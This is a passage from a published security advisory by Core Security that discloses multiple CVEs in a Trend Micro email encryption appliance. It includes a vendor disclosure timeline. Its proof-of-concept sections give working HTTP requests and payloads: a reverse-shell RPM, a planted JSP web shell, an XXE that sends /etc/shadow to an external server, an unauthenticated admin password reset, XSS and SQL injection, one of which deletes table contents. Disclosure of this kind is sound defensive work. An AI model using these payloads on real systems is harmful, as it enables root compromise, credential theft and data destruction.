Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

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